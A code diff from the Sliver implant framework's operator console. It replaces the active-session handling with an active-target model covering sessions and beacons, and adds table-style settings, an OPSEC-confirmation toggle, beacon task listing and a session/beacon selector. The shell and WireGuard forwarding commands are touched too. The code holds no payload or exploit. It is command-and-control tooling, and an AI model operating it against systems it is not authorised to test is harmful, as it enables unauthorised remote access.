"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SessionsCmd - Display/interact with sessions
@@ -48,7 +47,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if killAll {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := killSession(session, true, con)
if err != nil {
@@ -61,7 +60,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if clean {
con.ActiveSession.Background()
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := killSession(session, true, con)
@@ -76,9 +75,9 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if kill != "" {
session := con.GetSession(kill)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
err := killSession(session, true, con)
if err != nil {
@@ -90,7 +89,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if interact != "" {
session := con.GetSession(interact)
if session != nil {
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
@@ -101,54 +100,36 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
printSessions(sessionsMap, con)
PrintSessions(sessionsMap, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
}
}
/*
So this method is a little more complex than you'd maybe think,
this is because Go's tabwriter aligns columns by counting bytes
and since we want to modify the color of the active sliver row
the number of bytes per row won't line up. So we render the table
into a buffer and note which row the active sliver is in. Then we
write each line to the term and insert the ANSI codes just before
we display the row.
*/
func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Transport")),
strings.Repeat("=", len("Remote Address")),
strings.Repeat("=", len("Hostname")),
strings.Repeat("=", len("Username")),
strings.Repeat("=", len("Operating System")),
strings.Repeat("=", len("Last Check-in")),
strings.Repeat("=", len("Health")),
)
// strings.Repeat("=", len("Burned")))
// Sort the keys because maps have a randomized order
var keys []int
for _, session := range sessions {
keys = append(keys, int(session.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
activeIndex := -1
for index, key := range keys {
session := sessions[uint32(key)]
if con.ActiveSession.Get() != nil && con.ActiveSession.Get().ID == session.ID {
index := 0
for _, session := range sessions {
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
activeIndex = index + 2 // Two lines for the headers
}
index++
var SessionHealth string
if session.IsDead {
@@ -160,8 +141,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
tw.AppendRow(table.Row{
session.ID,
session.Name,
session.Transport,
@@ -169,15 +149,16 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
session.LastCheckin,
SessionHealth,
burned,
)
time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
burned + SessionHealth,
})
}
table.Flush()
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
if activeIndex != -1 {
lines := strings.Split(outputBuf.String(), "\n")
lines := strings.Split(tw.Render(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
@@ -189,6 +170,7 @@ func printSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
}
}
} else {
con.Printf(outputBuf.String())
con.Printf("%s\n", tw.Render())
}
}
-39
View File
@@ -1,39 +0,0 @@
package sessions
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
sessionArg := ctx.Args.String("session")
if sessionArg != "" {
session := con.GetSession(sessionArg)
if session == nil {
con.PrintErrorf("Invalid session name or session number '%s'\n", ctx.Args.String("session"))
} else {
activate(session, con)
}
} else {
session, err := SelectSession(false, con)
if session != nil {
activate(session, con)
} else if err != nil {
switch err {
case ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
}
func activate(session *clientpb.Session, con *console.SliverConsoleClient) {
con.ActiveSession.Set(session)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
}
+4
View File
@@ -0,0 +1,4 @@
Style
======
Defines terminal interface styles.
+39
View File
@@ -0,0 +1,39 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsBeaconsAutoResultCmd - The client settings command
func SettingsBeaconsAutoResultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.BeaconAutoResults = !con.Settings.BeaconAutoResults
con.PrintInfof("Beacon Auto Result = %v\n", con.Settings.BeaconAutoResults)
}
+62
View File
@@ -0,0 +1,62 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// SettingsAutoAdultCmd - The client settings command
func SettingsAutoAdultCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AutoAdult = !con.Settings.AutoAdult
con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult)
}
// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions
func IsUserAnAdult(con *console.SliverConsoleClient) bool {
if GetAutoAdult(con) {
return true
}
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
// GetAutoAdult - Get the current auto adult setting
func GetAutoAdult(con *console.SliverConsoleClient) bool {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
return con.Settings.AutoAdult
}
return false
}
+97
View File
@@ -0,0 +1,97 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// SettingsCmd - The client settings command
func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
tw := table.NewWriter()
tw.SetStyle(GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
con.Printf("%s\n", tw.Render())
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
options := []string{}
for option := range tableStyles {
options = append(options, option)
}
style := ""
prompt := &survey.Select{
Message: "Choose a style:",
Options: options,
}
err = survey.AskOne(prompt, &style)
if err != nil {
con.PrintErrorf("No selection\n")
return
}
if _, ok := tableStyles[style]; ok {
con.Settings.TableStyle = style
} else {
con.PrintErrorf("Invalid style\n")
}
}
// SettingsSaveCmd - The client settings command
func SettingsSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
err = assets.SaveSettings(con.Settings)
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Settings saved to disk\n")
}
}
+94
View File
@@ -0,0 +1,94 @@
package settings
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
var (
tableStyles = map[string]table.Style{
// Sliver styles
SliverDefault.Name: SliverDefault,
// Go Pretty styles
table.StyleBold.Name: table.StyleBold,
table.StyleColoredBright.Name: table.StyleColoredBright,
table.StyleLight.Name: table.StyleLight,
table.StyleColoredDark.Name: table.StyleColoredDark,
table.StyleColoredBlackOnBlueWhite.Name: table.StyleColoredBlackOnBlueWhite,
}
SliverDefault = table.Style{
Name: "SliverDefault",
Box: table.BoxStyle{
BottomLeft: " ",
BottomRight: " ",
BottomSeparator: " ",
Left: " ",
LeftSeparator: " ",
MiddleHorizontal: "=",
MiddleSeparator: " ",
MiddleVertical: " ",
PaddingLeft: " ",
PaddingRight: " ",
Right: " ",
RightSeparator: " ",
TopLeft: " ",
TopRight: " ",
TopSeparator: " ",
UnfinishedRow: " ~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
Footer: text.Colors{},
Header: text.Colors{},
Row: text.Colors{},
RowAlternate: text.Colors{},
},
Format: table.FormatOptions{
Footer: text.FormatDefault,
Header: text.FormatTitle,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: false,
SeparateColumns: true,
SeparateFooter: false,
SeparateHeader: true,
SeparateRows: false,
},
}
)
// GetTableStyle - Get the current table style
func GetTableStyle(con *console.SliverConsoleClient) table.Style {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
if value, ok := tableStyles[con.Settings.TableStyle]; ok {
return value
}
}
return tableStyles[SliverDefault.Name]
}
+6 -5
View File
@@ -25,6 +25,7 @@ import (
"log"
"os"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -41,18 +42,18 @@ const (
// ShellCmd - Start an interactive shell on the remote system
func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if !con.IsUserAnAdult() {
if !settings.IsUserAnAdult(con) {
return
}
shellPath := ctx.Flags.String("shell-path")
noPty := ctx.Flags.Bool("no-pty")
if con.ActiveSession.Get().OS != linux && con.ActiveSession.Get().OS != darwin {
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
runInteractive(ctx, shellPath, noPty, con)
@@ -61,7 +62,7 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -80,7 +81,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: shellPath,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
+5
View File
@@ -0,0 +1,5 @@
Tasks
=======
Manage and interact with Beacon tasks
+91
View File
@@ -0,0 +1,91 @@
package tasks
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// TasksCmd - Manage beacon tasks
func TasksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon := con.ActiveTarget.GetBeaconInteractive()
if beacon == nil {
return
}
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
PrintBeaconTasks(beaconTasks.Tasks, con)
}
// PrintBeaconTasks - Print beacon tasks
func PrintBeaconTasks(tasks []*clientpb.BeaconTask, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"State",
"Message Type",
"Created",
"Sent",
"Completed",
})
for _, task := range tasks {
sentAt := time.Unix(task.SentAt, 0).Format(time.RFC1123)
if time.Unix(task.SentAt, 0).IsZero() {
sentAt = ""
}
completedAt := time.Unix(task.CompletedAt, 0).Format(time.RFC1123)
if time.Unix(task.CompletedAt, 0).IsZero() {
completedAt = ""
}
tw.AppendRow(table.Row{
strings.Split(task.ID, "-")[0],
prettyState(task.State),
task.Description,
time.Unix(task.CreatedAt, 0).Format(time.RFC1123),
sentAt,
completedAt,
})
}
con.Printf("%s\n", tw.Render())
}
func prettyState(state string) string {
switch strings.ToLower(state) {
case "pending":
return console.Bold + state + console.Normal
case "sent":
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
default:
return state
}
}
+4
View File
@@ -0,0 +1,4 @@
Use
====
This package implements the `use` command, which is used to select active sessions/beacons.
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseBeaconCmd - Change the active beacon
func UseBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := beacons.SelectBeacon(con)
if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
} else if err != nil {
switch err {
case beacons.ErrNoBeacons:
con.PrintErrorf("No beacon available\n")
case beacons.ErrNoSelection:
con.PrintErrorf("No beacon selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseSessionCmd - Change the active session
func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case sessions.ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+176
View File
@@ -0,0 +1,176 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
var (
ErrNoSelection = errors.New("no selection")
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
var beacon *clientpb.Beacon
var err error
idArg := ctx.Args.String("id")
if idArg != "" {
session, beacon, err = SessionOrBeaconByID(idArg, con)
} else {
session, beacon, err = SelectSessionOrBeacon(con)
}
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
}
}
// SessionOrBeaconByID - Select a session or beacon by ID
func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == uint32(idNumber) {
return session, nil, nil
}
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
for _, beacon := range beacons.Beacons {
if strings.HasPrefix(beacon.ID, id) {
return nil, beacon, nil
}
}
return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id)
}
// SelectSessionOrBeacon - Select a session or beacon
func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
// Get and sort sessions
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []int
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, int(session.ID))
}
sort.Ints(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
beaconKeys := []string{}
for beaconID := range beaconsMap {
beaconKeys = append(beaconKeys, beaconID)
}
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
}
// Render selection table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
)
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a session or beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, nil, ErrNoSelection
}
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[uint32(sessionKeys[index])], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
}
return nil, nil, nil
}
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// WGPortFwdAddCmd - Add a new WireGuard port forward
func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -53,7 +53,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
LocalPort: int32(localPort),
RemoteAddress: remoteAddr,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGPortFwdRmCmd - Remove a WireGuard port forward
func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -40,7 +40,7 @@ func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
fwdID := ctx.Args.Int("id")
stopReq, err := con.Rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{
ID: int32(fwdID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGPortFwdListCmd - List WireGuard port forwards
func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy
func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socks, err := con.Rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{
Port: int32(bindPort),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGSocksStopCmd - Stop a WireGuard SOCKS proxy
func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stopReq, err := con.Rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{
ID: int32(socksID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGSocksListCmd - List WireGuard SOCKS proxies
func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+185 -67
View File
@@ -28,16 +28,19 @@ import (
insecureRand "math/rand"
"path"
"strconv"
"strings"
"sync"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/golang/protobuf/proto"
"time"
@@ -74,27 +77,37 @@ const (
)
// Observer - A function to call when the sessions changes
type Observer func(*clientpb.Session)
type Observer func(*clientpb.Session, *clientpb.Beacon)
type BeaconTaskCallback func(*clientpb.BeaconTask)
type ActiveSession struct {
Session *clientpb.Session
type ActiveTarget struct {
session *clientpb.Session
beacon *clientpb.Beacon
observers map[int]Observer
observerID int
}
type SliverConsoleClient struct {
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveSession *ActiveSession
IsServer bool
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveTarget *ActiveTarget
BeaconTaskCallbacks map[string]BeaconTaskCallback
BeaconTaskCallbacksMutex *sync.Mutex
IsServer bool
Settings *assets.ClientSettings
}
// BindCmds - Bind extra commands to the app object
type BindCmds func(console *SliverConsoleClient)
func init() {
insecureRand.Seed(time.Now().Unix())
}
// Start - Console entrypoint
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
assets.Setup(false, false)
settings, _ := assets.LoadSettings()
con := &SliverConsoleClient{
App: grumble.New(&grumble.Config{
Name: "Sliver",
@@ -106,11 +119,14 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
HelpSubCommands: true,
}),
Rpc: rpc,
ActiveSession: &ActiveSession{
ActiveTarget: &ActiveTarget{
observers: map[int]Observer{},
observerID: 0,
},
IsServer: isServer,
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
BeaconTaskCallbacksMutex: &sync.Mutex{},
